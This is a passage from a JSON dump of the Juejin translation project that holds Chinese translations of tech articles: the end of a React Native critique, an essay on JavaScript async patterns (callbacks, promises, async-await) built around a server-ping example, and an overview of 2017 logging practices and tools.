在编译时收集了所有可能用到的路径，任何编译器无法找到的路径都将不能读取。所以你可以用 `require(‘../file1.json’)` 但不能用 `require(‘../file’ + ‘1’ + ‘.json’)`。这个让人惊讶的限制使得我们的架构无法实现。\n\n### 冒牌货般的 UI ###\n\n你最终完成的 RN app 可能既不像原生的 iOS app 也不像原生的安卓 app。大多数用户可能不会察觉这个问题，但有些人会发现更大的问题。你有可能会丢失一些用户会注意到的平台特有的细节，例如不能从左侧右滑来返回。（当你用 `NavigatorIOS` 完成两个平台的导航时会出现这个问题）\n\n\n总而言之，iOS 开发者不应该将 React Native 视为两个平台的跨平台解决方案。写一个原生的 iOS app 将会花费**更少**的时间并可能得到更棒的 UX。对于安卓 app 也一样，所以我认为大家应该更多的去专注于平台原生解决方案。\n\n什么时候用 RN 才是正确的呢？如果你是一个专业的 Javascript 程序员或者你有这么一个员工，并且你**不打算**配置 iOS 开发或安卓开发人员，那么你**可能**会从中获益。还记得那个想要尽快做好跨平台 app 的那个客户吗？他们**曾**有一名 Javascript 工程师，他们 app 的 v1.0 版本最近才出现在应用商店中。此时，距他们联系我们已经过去了 8 个月。\n\n\n**最后是无耻的广告时间！如果你需要人帮你开发 iOS app，**[**请点这里**](http://www.madebywindmill.com)**！**\n\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/an-ode-to-async-await.md",
    "content": "> * 原文地址：[An Ode to Async-Await](https://hackernoon.com/an-ode-to-async-await-7da2dd3c2056#.pdydhv9a0)\n* 原文作者：[Tal Kol](https://hackernoon.com/@talkol)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Xekri](https://github.com/xekri/)\n* 校对者：[sqrthree](https://github.com/sqrthree)、[Tina92](https://github.com/Tina92)\n\n# 为 Async-Await 唱一曲赞歌\n\n![](https://cdn-images-1.medium.com/max/2000/1*xB_H7hyiX3-K7wbf4hH9Yw.jpeg)\n\n随着 Node 7 将原生支持 async-await 特性（不需要转译器）的[**消息**](https://blog.risingstack.com/async-await-node-js-7-nightly/)爆出，我决定为如此精妙的语言构造谱写一曲赞歌。近几年来，async-await  成了我最爱的异步业务逻辑实现方式。这是更高层的抽象对我们的日常工作产生巨大改变的一个很好的例子 —— 代码更简单、更易读、包含更少的脚手架代码，仍保持着所有替代方法中最佳的效率。\n\n---\n\n#### 心急吃不了热豆腐\n\n不是所有事都能立马完成。软件中的一些操作要花一段时间才能做完，这就给它们在顺序执行执行系统中的实现提出了提出了有趣的挑战。如果你需要通过网络访问服务器，你必须等它作出响应。CPU 被设计成一个接一个地运行指令码而不做等待，这段时间它们能做些什么呢？\n\n这就是**异步**和**并发**的出发点。\n\n#### 为什么不直接阻塞？\n\n就假设我们可以暂停执行并阻塞，直到预期的响应抵达。通常这不是一个好主意，因为在这期间我们的程序无法对任何其他事情作出响应。设想我们正在实现一个前端应用，如果用户在我们阻塞时尝试交互怎么办？又比如我们在写后端服务，如果新的请求突然出现会怎么样？\n\n我们从最朴素的方式开始，用最少的抽象以及底层的 API 来实现，比如不朽的 [select](http://man7.org/linux/man-pages/man2/select.2.html) 函数。如果我们不想阻塞，替代方法就是立刻返回 —— 也就是所谓**轮询**。可这也不大对劲， [忙碌等待](https://en.wikipedia.org/wiki/Busy_waiting)一直听上去就不像个好主意。\n\n我们需要别的东西。我们需要抽象。\n\n#### 为什么多线程很糟糕\n\n操作系统为我们提供了这个问题的传统解决方案 —— [**多线程**](https://en.wikipedia.org/wiki/Thread_%28computing%29)。我们需要阻塞，但我们不想阻塞主执行上下文。因此，让我们创建可并行运行的附加执行上下文。但如果我们只有一个单核 CPU 呢？这就是抽象的来源 —— 操作系统将在我们的多个执行线程间进行复用和透明跳转。\n\n事实上，这种方法相当受欢迎，互联网上的大多数网站内容是这样提供的。[Apache HTTP 服务器](https://httpd.apache.org/)，世界上最受欢迎的 Web 服务器，拥有超过 [40% 的市场份额](https://news.netcraft.com/archives/2016/07/19/july-2016-web-server-survey.html)，历来就依赖于[单独的线程](https://httpd.apache.org/docs/2.4/mod/worker.html)来处理每个并发客户端。\n\n问题是依靠线程来解决并发性问题通常来说代价是很昂贵的，并且还在使用时引入了显著的额外复杂性。\n\n让我们从复杂性开始。线程代码看上去更简单，因为它可以**同步**并阻塞，直到事情准备完毕。问题是，当一个线程停止运行而另一个线程启动时（上下文切换），我们通常无法控制。如果几个线程依赖一个共享的数据结构，我们需要加倍小心。如果一个线程开始更新数据并且在完成更新之前切换，另一个线程就可能从不确定的状态中恢复运行。这个问题引入了同步机制，比如[互斥锁](https://en.wikipedia.org/wiki/Lock_%28computer_science%29)和[抽象数据类型](https://en.wikipedia.org/wiki/Semaphore_%28programming%29)，这些就一点也不[优雅](http://blog.nahurst.com/thread-synchronization-issues-romance)了。\n\n第二个问题是成本，或者更具体地说是线程引起的资源开销。**调度器**是线程运行时在操作系统中承担[分配资源工作](https://en.wikipedia.org/wiki/Scheduling_%28computing%29)的实体。你运行的线程越多，操作系统花在决定谁该运行而不是实际运行它们的时间越多。 更严重的是内存问题。每个线程都有一个运行时的调用[堆栈](https://en.wikipedia.org/wiki/Call_stack)，通常会为此保留数兆的内存；其中某些必须是[非分页内存](https://blogs.technet.microsoft.com/askperf/2007/03/07/memory-management-understanding-pool-resources/)（因此[虚拟内存](https://en.wikipedia.org/wiki/Virtual_memory)起不了作用）。当运行大量线程时，这些就成为了瓶颈。\n\n这些不仅是理论问题，更以非常实际的方式影响着我们周围的世界。首先，这使得我们今天对互联网的可负载量的要求标准很低。很多服务器处理不了超过几千的并发连接，这导致像 [Reddit 的死亡拥抱](http://www.urbandictionary.com/define.php?term=reddit%20hug%20of%20death)（译注：就像 xxx 观光团到此一游让某网站瞬间崩溃）这样可笑的事情不断发生。这便是著名的 [C10K](http://www.kegel.com/c10k.html) 问题。为什么说它可笑？因为同样是这些服务器，只要架构稍稍不同（只要不依赖多线程），就能轻松处理成千上万的并发连接。\n\n\n#### 多线程不好，然后呢？\n\n并不是说多线程真的是不好的，我想说的是，我们不应该**仅仅**依赖于这一层并发抽象。我们必须开发出一种能让我们在**单线程系统**下拥有同样并发自由的抽象层。\n\n\n这就是我爱 [Node](https://nodejs.org) 的原因。由于某种[不相干](http://stackoverflow.com/questions/39879/why-doesnt-javascript-support-multithreading)的限制，JavaScript 强迫我们在单线程下工作。一开始我们可能觉得这是 (JavaScript) 生态系统的一大缺陷，但实际上我们因祸得福了。如果不能奢享多线程，我们就必须开发出强大的非多线程并发机制。\n\n如果我们有多个 CPU 或多个核心会怎么样？ 既然 Node 是单线程的，我们如何充分利用它们？ 在这种情况下，我们可以在同一台机器上运行多个 Node 实例。\n\n\n#### 从一个现实中的例子开始\n\n为了让讨论更接地气，让我们从一个设想要实现的真实情景开始。我们来构建一个类似于 [Pingdom](https://www.pingdom.com/) 的服务。给定一个由服务器 URL 组成的数组，我们要对这些服务器通过发出 HTTP 请求分别进行 3 次（每 10 秒一次）的 `ping` 操作。。\n\n该服务将返回未能响应的服务器列表以及它们未正确响应的次数。不需要并行地 ping 不同的服务器，所以我们将按照列表一个个地操作。最后，当我们等待服务器响应时，我们不会阻塞主线程执行。\n\n我们可以通过实现下面的 `pingServers` 函数来实现整个的服务：\n\n```js\nconst servers = [\n  'http://www.sevengramscaffe.com',\n  'http://www.hernanparra.co',\n  'http://www.thetimeandyou.com',\n  'http://www.luchoycarmelo.com'\n ];\npingServers(servers, function (failedServers) {\n  for (const url in failedServers) {\n    console.log(`${url} failed ${failedServers[url]} times`);\n  }\n});\n```\n\n#### 多线程的伪代码实现\n\n如果我们使用多线程，并且允许阻塞，伪代码的实现将会是这样：\n\n```js\nfunction pingServers(servers) {\n  let failedServers = {};\n  for (const url of servers) {\n    let failures = 0;\n    for (let i = 0 ; i < 3 ; i++) {\n      const response = blockingHttpRequest(url);\n      if (!response.ok) failures++;\n      blockingSleep(10000);\n    }\n    if (failures > 0) failedServers[url] = failures;\n  }\n  return failedServers;\n}\n```\n\n为了确保我们不会突然的依赖线程，在接下来的部分中，我们将使用**异步代码**实现 Node 上的服务。\n\n#### 第一种实现 —— 回调\n\nNode 依赖 JavaScript 的[事件循环](https://developer.mozilla.org/en/docs/Web/JavaScript/EventLoop)机制。由于它是单线程的，因此 API 调用通常不会阻塞执行。相反，不能立即完成的命令会在执行时发布一个事件；我们可以指定事件完成时的回调函数，并将我们其余的业务逻辑代码放在那里。\n\n关于回调，最著名的抱怨就是**厄运金字塔**（译注：回调地狱），你的代码最终就看上去像一堆[乱七八糟](http://callbackhell.com/)的缩进。事实上，我对回调的最大意见有所不同，即它不能很好地处理**控制流**。\n\n什么是控制流？它是你需要通过 `for` 循环和 `if` 语句实现的基本业务逻辑，比如这里的对每个服务器 ping 正好三次、当且仅当失败时将服务器写入结果中。试着用 [forEach](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach) 和 [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setTimeout) 来实现吧，你会发现它根本不能像你想象的那样，通过回调轻易地完成。\n\n于是我们要怎么做？我知道的更灵活的方法之一是通过构建一个[状态机](https://en.wikipedia.org/wiki/Finite-state_machine)来实现这些重要的控制流。\n\n```js\nimport request from 'request';\n\nexport function pingServers(servers, onComplete) {\n  let state = {\n    servers,\n    currentServer: 0,\n    currentPingNum: 0,\n    failedServers: {}\n  };\n  handleState(state, onComplete);\n}\n\nfunction handleState(state, onComplete) {\n  if (state.currentServer >= state.servers.length) {\n    onComplete(state.failedServers);\n    return;\n  }\n  if (state.currentPingNum >= 3) {\n    state.currentServer++;\n    state.currentPingNum = 0;\n    setImmediate(() => handleState(state, onComplete));\n    return;\n  }\n  const url = state.servers[state.currentServer];\n  request(url, (error, response) => {\n    if (error || response.statusCode !== 200) {\n      if (!state.failedServers[url]) state.failedServers[url] = 0;\n      state.failedServers[url]++;\n    }\n    state.currentPingNum++;\n    setTimeout(() => handleState(state, onComplete), 10000);\n    return;\n  });\n}\n```\n\n这能奏效，不过不像我想象的那样直接。让我们探索使用一个专门为回调控制流而生的库（[async](https://github.com/caolan/async)）的实现：\n\n```js\n\nimport request from 'request';\nimport asyncLib from 'async';\n\nexport function pingServers(servers, onComplete) {\n  let failedServers = {};\n  asyncLib.eachSeries(servers, (url, onNextUrl) => {\n    let failures = 0;\n    asyncLib.timesSeries(3, (n, onNextAttempt) => {\n      request(url, (error, response) => {\n        if (error || response.statusCode !== 200) failures++;\n        setTimeout(onNextAttempt, 10000);\n      });\n    }, () => {\n      if (failures > 0) failedServers[url] = failures;\n      onNextUrl();\n    });\n  }, () => {\n    onComplete(failedServers);\n  });\n}\n```\n\n现在代码更好、更短了。不过它直白到了一眼看过去就能理解的程度吗？我想我们能做得更棒。\n\n#### 第二种实现 —— Promises\n\n我们对第一种实现方式并不满意，改进的方法是使用更高的一层抽象。[Promise](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Promise) 保存尚未确定下来的「未来」值。它是一种占位符，被用来代替能立即返回的值，即使定义它的异步操作尚未完成。关于 promise，有趣的是它允许我们立即使用未来的值，并且保持住链式操作，最后它在未来发生后 (resolved) 就能被执行了。\n\n我们让 `pingServers` 返回一个 promise，并像下面这样改变它的用法：\n```js\nconst servers = [\n  'http://www.sevengramscaffe.com',\n  'http://www.hernanparra.co',\n  'http://www.thetimeandyou.com',\n  'http://www.luchoycarmelo.com'\n ];\npingServers(servers).then( function (failedServers) {\n  for (const url in failedServers) {\n    console.log(`${url} failed ${failedServers[url]} times`);\n  }\n});\n```\n\n大多数现代异步 API 都倾向于使用 promise 来进行回调。在我们的示例中，我们将使用基于 promise 的 [Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch) 作为我们 HTTP 请求的基础。\n\n我们仍然有控制流的问题。我们的简单逻辑该如何用 promise 来实现？我认为[函数式编程](https://en.wikipedia.org/wiki/Functional_programming)与 promise 结合得最好，在 JavaScript 中这通常意味着使用 [lodash](https://lodash.com/)。\n\n如果我们想并行地 ping 服务器，事情会变得很简单。我们可以用诸如 [map](https://lodash.com/docs#map) 这样的操作将我们的 URL 数组转换为一组 promise，resolve 时返回每个 URL 的失败次数。因为我们需要按序地 ping 这些服务器，事情有点更棘手。由于每个 promise 都需要连接到上一个的 [then](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then) 中，我们就要在不同的循环中传递数据。这可以通过在像 [reduce](https://lodash.com/docs#reduce) 或 [transform](https://lodash.com/docs#transform) 这样的操作中使用**累加器（accumulator）**来实现：\n\n```js\nimport _ from 'lodash';\nimport fetch from 'node-fetch';\nimport delay from 'delay';\n\nexport function pingServers(servers) {\n  return _.reduce(servers, (failedServersAccumulator, url) => {\n    return failedServersAccumulator.then((failedServers) => {\n      return _.reduce(_.range(3), (failuresAccumulator) => {\n        return failuresAccumulator.then(delay(10000)).then((failures) => {\n          return fetch(url).then((response) => {\n            return response.ok ? failures : failures + 1;\n          });\n        });\n      }, Promise.resolve(0)).then((failures) => {\n        if (failures > 0) failedServers[url] = failures;\n        return failedServers;\n      });\n    });\n  }, Promise.resolve({}));\n}\n```\n\n嗯……我不得不说这也有点瞎眼。事实上，在写完代码的 5 分钟后，我就很难跟上这节奏了。为了解决这样的混乱，我想如果我们将相同的实现放在两个单独的小函数中会更有助于理解：\n```js\nimport _ from 'lodash';\nimport fetch from 'node-fetch';\nimport delay from 'delay';\n\nexport function pingServers(servers) {\n  return _.reduce(servers, (failedServersAccumulator, url) => {\n    return failedServersAccumulator.then((failedServers) => {\n      return pingOneServer(url).then((failures) => {\n        if (failures > 0) failedServers[url] = failures;\n        return failedServers;\n      });\n    });\n  }, Promise.resolve({}));\n}\n\nfunction pingOneServer(url) {\n  return _.reduce(_.range(3), (failuresAccumulator) => {\n    return failuresAccumulator.then(delay(10000)).then((failures) => {\n      return fetch(url).then((response) => {\n        return response.ok ? failures : failures + 1;\n      });\n    });\n  }, Promise.resolve(0));\n}\n```\n\n现在更清楚一些了……但是累加器还是让整件事变得更复杂了。\n\n#### 第三种实现 —— async-await 的极乐净土\n\n拜托，我们只不过是要按顺序 ping 几台服务器而已。前面两种实现方式的确有效，但它们不大容易效仿。为什么？也许是因为对业务逻辑而言，人们觉得过程化思维来得更符合直觉一点。\n\n第一次与 **async-await** 模式[相遇](http://stackoverflow.com/questions/18498942/why-shouldnt-all-functions-be-async-by-default)，是在做微软 Azure 上的一个业余项目时，囫囵吞枣地学了一些 [C# 和 .NET](https://msdn.microsoft.com/en-us/library/mt674882.aspx)。我当时就震惊了。两个世界（译注：异步和同步）在这完美结合了——直接的过程化思维，而不用忍受该死的阻塞。这些家伙做得真棒！\n\n看到 [JavaScript](https://github.com/tc39/ecmascript-asyncawait), [Python](https://www.python.org/dev/peps/pep-0492/), [Scala](http://docs.scala-lang.org/sips/pending/async.html), [Swift](https://github.com/yannickl/AwaitKit) 等越来越多的语言中渗入了这种模式，我十分庆幸。 \n\n毋须多言，对 async-await 的最好介绍就是直接看代码，让它为自己代言：\n\n```js\nimport _ from 'lodash';\nimport fetch from 'node-fetch';\nimport delay from 'delay';\n\nexport async function pingServers(servers) {\n  let failedServers = {};\n  for (const url of servers) {\n    let failures = 0;\n    for (const i of _.range(3)) {\n      const response = await fetch(url);\n      if (!response.ok) failures++;\n      await delay(10000);\n    }\n    if (failures > 0) failedServers[url] = failures;\n  }\n  return failedServers;\n}\n```\n\n代码看完了，我们来谈谈。易写又易读，代码在做什么一眼就能看明白。并且他是完全**异步**的。哈哈。我说不出比 [Jake Archibald](https://jakearchibald.com/2014/es7-async-functions/) 更棒的赞美了：\n\n> 了不起。真的太了不起了，我想要修改法律，这样我就能和它们结婚了。\n\n注意到这种类似于同步的实现流程是如何完成之前只能用多线程和阻塞来完成的事的。没有阻塞它是如何完成的呢？幕后其实有很多魔术一样的实现。我不打算深入，只是提醒一下 `await` 关键词并不阻塞，它使得事件循环中的执行切出（yield）到其他事件。一旦等待的结果准备就绪，就能从这一断点继续执行了。\n\n此外，调用这个版本的 `pingServers` 的方法和之前的 promise 版本相同。`async` 函数返回一个 `promise`，让它与现有代码更容易整合。\n\n#### 总结\n\n\n我们割断了对同步多线程的依赖，并见识了三种不同风格的**异步**代码。**回调**、**promise** 和 **async-await** 是为类似目的设计的不同抽象表示。哪一个更好？这是个人口味的问题。\n\n很高兴能看到这三种口味的风格如何代表了历史上的三代 JavaScript。回调从早期一直统治到了 ES5 时代。Promises 在 ES6 时代非常突出，这时 JavaScript 也作为一个整体朝现代语法迈出了一大步。当然，我们赞扬的主题 —— async-await 走在了 ES7 的最前沿。这是一个令人惊叹的工具，快用上它吧！\n"
  },
  {
    "path": "TODO/an-overview-of-the-logging-ecosystem-in-2017.md",
    "content": "\n  > * 原文地址：[An Overview of the Logging Ecosystem in 2017](https://blog.codeship.com/an-overview-of-the-logging-ecosystem-in-2017/)\n  > * 原文作者：[Matthew Setter](https://blog.codeship.com/author/matthewsetter/)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/an-overview-of-the-logging-ecosystem-in-2017.md](https://github.com/xitu/gold-miner/blob/master/TODO/an-overview-of-the-logging-ecosystem-in-2017.md)\n  > * 译者：[TanJianCheng](https://github.com/TanNingMeng)\n  > * 校对者：[tmpbook ](https://github.com/tmpbook) [Yuuoniy](https://github.com/Yuuoniy)\n\n  # 2017年日志生态系统概述\n\n  日志功能，对于现代计算机来说是基本的组件。它可以帮助开发者调试应用程序，系统管理员和开发运营人员修复服务器中断的原因。因此，日志记录提供了解决问题的信息和上下文环境是至关重要的，无论是在（问题）发生时还是从历史上下文中排查问题。\n\n但像计算中的任何东西一样，日志的状态从未停滞不前。现有的概念会过时然后被新的概念所替换，而其他的一些想法则变成永恒 - 有时会持续好几年。同样的模式也适用于工具和服务，无论是商业还是开源，线上服务或者线下服务。\n\n所以现在我们处于什么位置？现在流行的趋势，工具和哲学是什么？为什么它们流行？很好，我们将通过日志生态的三个元素去探究在2017年年中日志行业处于什么位置。\n\n我会具体地讨论以下几个值得注意的地方：\n\n- 哲学\n- 最佳方案\n- 服务和工具选项\n\n在我们进入正题之前，我先清楚地说明：我首先将我自己立足于一名开发人员的角度，其次是系统管理员和运营。所以，我的观点和文中我作出的选择是有根据地得出结论。请记住这一点。\n\n[“目前日志流行的趋势，工具和文化是什么和它们流行的原因是什么？” 来自 @settermjd ](https://twitter.com/share?text=%22What+logging+trends%2C+tools%2C+and+philosophies+currently+hold+sway+and+why%3F%22+via+%40settermjd&amp;url=https://blog.codeship.com/an-overview-of-the-logging-ecosystem-in-2017/)\n\n我们可以开始啦。\n\n## 日志系统的哲学\n\n我想说的第一部分是日志原理。在这里，我会说明两个哲学：日志存储和日志文化。\n\n### 日志记录应该存在哪里和如何被保存？\n\n日志文件是应该直接保存在你组织内部自己管理的服务呢？还是你使用像 Loggly 这样的 SaaS，或者存储数据到其它第三方工具 [稍后我们会介绍](#service-and-tool-options) 之一？\n\n按照我的理解，最主要的区别是安全性和数据的敏感性的问题。你的组织里有什么数据是处于私有状态的？\n\n如果真的有，你最好自己去研究一种解决方案来记录日志，例如 [Apache Kafka](https://kafka.apache.org)，或者 [一个易伸缩 (formerly ELK) 堆](https://www.elastic.co/webinars/introduction-elk-stack) 。如果你的数据不是特别的敏感的话，像 **Loggly**，**Graylog**，**SumoLogic**，和 **ElasticSearch** 这样的商业托管解决方案可能是一种更好的选择。\n\n另外一种似乎热门的谈论 [在 Hacker News](https://news.ycombinator.com/item?id=12682566) 认为是日志效率问题。具体谈论的是，我们是否努力建立和管理内部的日志解决方案，像基于堆栈的实现方式来提高效率？或者说托管给现成的厂商服务会更有效率？\n\n从来没有一个明确，万全的答案来回答这样的问题。我一直认为最统一的解释就是『看情况而定』。任何组织和应用都是独一无二的。对于一个问题有效的解决方案不一定适用于另外一个。一个人可能拥有许多资源和经验可以用于分配任务。但另外一个人不一定有。\n\n所以在2017年，日志数据如何被存储这个问题仍然是在日志生态系统当中的关键问题。\n\n### sidecar 应用\n\n这是一个被称为 **sidecar应用** 的崭新（至少对于我来说）概念。如果你以前没有听说过，那么告诉你它是与部署容器类应用相关的，同样地它非常适合基于容器的部署。\n\n[Garland Kan 在 Loggly](https://www.loggly.com/blog/how-to-implement-logging-in-docker-with-a-sidecar-approach/) 中把 sidercar 简洁地描述为:\n\n> 将一个应用程序容器和日志容器进行结合的理念。\n\n[他们通过这种方式描述它](https://www.voxxed.com/blog/2015/01/use-container-sidecar-microservices/) ，Voxxed　提供了更加详细的解释：\n\n> 一个　sidecar　应用是被部署在每一个已经开发或者部署服务器/集群实例的微服务的旁边。它是概念上依附着\"父母\"服务，就像三轮摩托车的边座位依附着三轮摩托车一样 - 因此而得名。sidecar作为第二进程和你的程序一起运行并通过暴露类似 REST 的 API 接口(如 HTTP 的 REST )来提供‘平台基础设施功能’。\n\n在日志的上下文环境中，一个额外的容器被加载进了堆空间，同时堆空间是日志应用存储的地方以及可以转发日志记录到像 LogEntries 和 Splunk 外部服务。从我的理解，虽然 sidecar 能适合较小的应用程序，但是比较困难去有效地测量。总的来说，这是非常有趣的概念。\n\n### 日志的文化\n\n现在让我们看看文化 - 一个具有主动性，非常重要的方面。直接点说，让我印象深刻 [来自 Stackify](https://stackify.com/java-logging-best-practices/) 的一个引用，他是这么说：\n\n> …我们已经建立了一个『日志文化』…\n\n我发现这是近年来最好的发展之一，因为没有一个支持的文化，想法和概念的话，它有可能只是暂时兴起。在过去的几年，当我们测试在时候，我认为我们都接触过。一开始社区文化总是起很大的作用。但是如果没有适当的文化支持，当其他方面的压力和最后的期限开始堆积的时候，它很快将会被淘汰。\n\n在这篇文章，Stackify 继续说：\n\n> [日志的文化]开始完成这些目标：\n>\n> 记录所有的东西。尽可能地多记录一些有关联性的，有上下文信息的日志记录。更加的智能化而不是更复杂。巩固和聚集我们的日志记录到一个中心区域，开放给所有开发者和便于提取。而且，分析异常的日志信息找到新的途径，主动去优化产品。\n\n这段话有一些很优秀的观点，其中两个比较特别的看法值得去了解。\n\n#### 尽可能多记录日志\n\n与前几年我所看到的和所经历的相反，这个表达在于多记录日志，至少 -- 这些信息都是有连续性的。这个说法与 [Sumologic 在 2017 年 4 月](https://www.sumologic.com/blog/log-management-analysis/best-practices-creating-custom-logs-diving-deeper/)写的日志所说的紧密相连：\n\n> 你的日志记录就应该像是在讲一个故事。\n\n对于我来说，这种做法是非常有意思而且可以让你看到结果的发展。\n\n当我不确定我们是否应该记录下它们的理由，我们拥有越多（具有上下文联系）信息，对我们处理那些突发的问题就会越有利。\n\n#### 保存在一个中心区域，对所有开发者都开放\n\n每个人都可以集中使用这些日志信息，是另外一个令人振奋的发展，甚至看见愈发的强大。\n\n当信息被保存在一个中心区域，它可以更容易发挥作用。每个人都可以去访问它 - **查看它** - 这样做提高了确定日志内容的责任，以及更快的解决问题的需要。如果信息被隐藏起来，那么问题更容易被掩盖或者被埋葬。\n\n我愿意相信当这两个理念被实现（尽可能多记录和记录在中心位置），那么我们的应用的质量会提高和故障会减少，这样会极大满足用户和开发体验。\n\n[![Sign up](https://resources.codeship.com/hubfs/hub_generated/resized/522f8e9a-4760-42a2-9e7d-21780dfaae2b.png)](https://resources.codeship.com/cs/c/?cta_guid=f9c07177-11c7-44f5-962e-71116a8292a2&placement_guid=964db6a6-69da-4366-afea-b129019aff07&portal_id=1169977&redirect_url=APefjpHK7AUB26fFkV8T6f8w3pa2iXgimx-OwWa0mv7vwuQ9Qn1_WPEopcBxEtxv0oUL4iy6kF57zx0LDmnef1BcqOe0zK9fp7xsE9o4rtHSF8IpBjkJg5SO678peKfJbWgDYpBuPX6GFmTlTZLDhCtdckQ9d2qMT7TAEW2hnqdESN05DqKsxc8pgJzg0g3Mf6ac2ljX6IzrTulkhymu9tJBlcsHgy9TpouYzPpk1cOQhGuZKm_lKXmZDN6GEo2LoUfh-F6AEH5DIEmtUlFcKWLPXWEmwPn0-kPZWSU43p9vnIMZQvFDDArTfWVn3ZbCMyggZCGYSOvgCPFqTvnFGsfYegiJlO5BjA&hsutk=a15127591b468cb7fa682b9b9d7434c5&canon=https%3A%2F%2Fblog.codeship.com%2Fan-overview-of-the-logging-ecosystem-in-2017%2F&click=fbdaa4a3-14b1-4d61-8363-9bab2cc5db38&utm_referrer=https%3A%2F%2Fblog.codeship.com%2Fan-overview-of-the-logging-ecosystem-in-2017%2F&__hstc=209244109.a15127591b468cb7fa682b9b9d7434c5.1503571579504.1503571579504.1503571579504.1&__hssc=209244109.2.1503571579514&__hsfp=3027766740)\n\n## 最佳方案\n\n现在我想考虑今年我从学习中得出的最佳方案中的一个重点问题：我们创作日志内容是偏向于可读性或利于高效解析?\n\n似乎人类更擅长于处理没有逻辑，没有组合或者没有拥有标准格式的数据，计算机却不能。相反，人类不擅长处理大量的数据但是计算机却可以。所以，我们面临着一个挑战：我们创建日志是在以人为优，便于大众工作还是以有利于电脑程序处理为优先条件，其次是使之具有可读性？\n\n我发现，除非你只记录少量的信息，否则我们最好专注于处理效率之上，尽可能考虑执行环境而不是可读性。\n\n但是一个有效率，内容丰富的日志目录应该是怎么样的？ [Dan Reichart（从 SumoLogic）提供了](https://www.sumologic.com/blog/log-management-analysis/best-practices-creating-custom-logs-diving-even-deeper/)，一个虚构的机票预订服务，作为一个例子：\n\n    2017-04-1009:50:32-0700-dan12345-10.0.24.123-GET- /checkout/flights/ -credit.payments.io-Success-2-241.98\n\n简而言之，入口的每一个元素都被 \" - \" 分隔开,排序后得到以下结果：\n\n 1. 日志时间戳\n 2. 购物者的用户名\n 3. 用户的IP地址\n 4. 请求的方法\n 5. 请求的资源\n 6. 请求的网管或者路径\n 7. 请求的状态\n 8. 机票购买数量\n 9. 机票合计\n\n如果我们仅有这些信息，那么我们只能知道部分的故事。但是如果通过保存所有的信息，而这些信息可以很好的被压缩存储，那么我们处于一个我们得到解决问题所需信息的位置。这些日志记录是简洁的，具有可读性，像讲述一个故事和遵从一个标准，可预测的模式。还有其他的表达方式，这只是其中之一。\n\n## 服务 & 工具的选项\n\n现在，让我们通过观察一些目前提供日志服务市场的厂商来完成这个课题。这些当中是托管的Saas和自我托管的解决方案的混合。其中一些令人注意，目前越来越强大的厂商已经存在好些时候了。它们包括以下公司像 **Loggly**，**Graylog**，**Splunk**，**ElasticSearch**， **LogEntries**， **Logz.io**，**LogStash**，**SumoLogic**，和 **Retrace** 。\n\n虽然它们都有具有像搜索和分析，主动检测，创建结构化和非结构化数据，自定义解析规则，和实时指示界面等特征，但是他们还在创建自己的核心功能，并扩展它们产品和特征集。\n\n它们的定价模式也有很大的不同，包括免费的选择版本，价格在90美元左右的标准计划和高达200美元的企业套餐。\n\n但在2017年，商业化不会是唯一的选择。一些开源工具也逐渐成熟起来。事实上，Linux基金会第三季度的 [开放云报告指南](http://go.linuxfoundation.org/l/6342/2016-10-31/3krbjr) 中有两个比较引人注意：[Fluentd](http://www.fluentd.org) 统一日志层的数据收集器，和 [LogStash](https://www.elastic.co/products/logstash)，服务端数据处理管道。其他值得考虑的开源工具是 [syslog-ng](https://syslog-ng.org/)， [LOGalyze](http://www.logalyze.com/)，和 [Apache Flume](https://cwiki.apache.org/confluence/display/FLUME/Home)。\n\n鉴于此，取决于你的经验，需求和预算，今年你的选择是非常充足的。未来将会有大量的选项可以让你选择到最符合你的需求的开源工具。\n\n## 结论\n\n我们总结了在2017关于日志系统大体上几个关键的因素。\n\n我们了解过了目前的哲理，例如日志记录应该存在哪里以及如何被存储，和 sidercar 应用的概念。我们讨论过了在一个组织内日志记录的文化对于日志记录的成功是多么重要。还有更多上下文的日志记录是如何比少的要更好。最后我们了解了几个市场上关键厂商。\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/an-undervalued-blockchain-market-in-china-is-good-news-for-you.md",
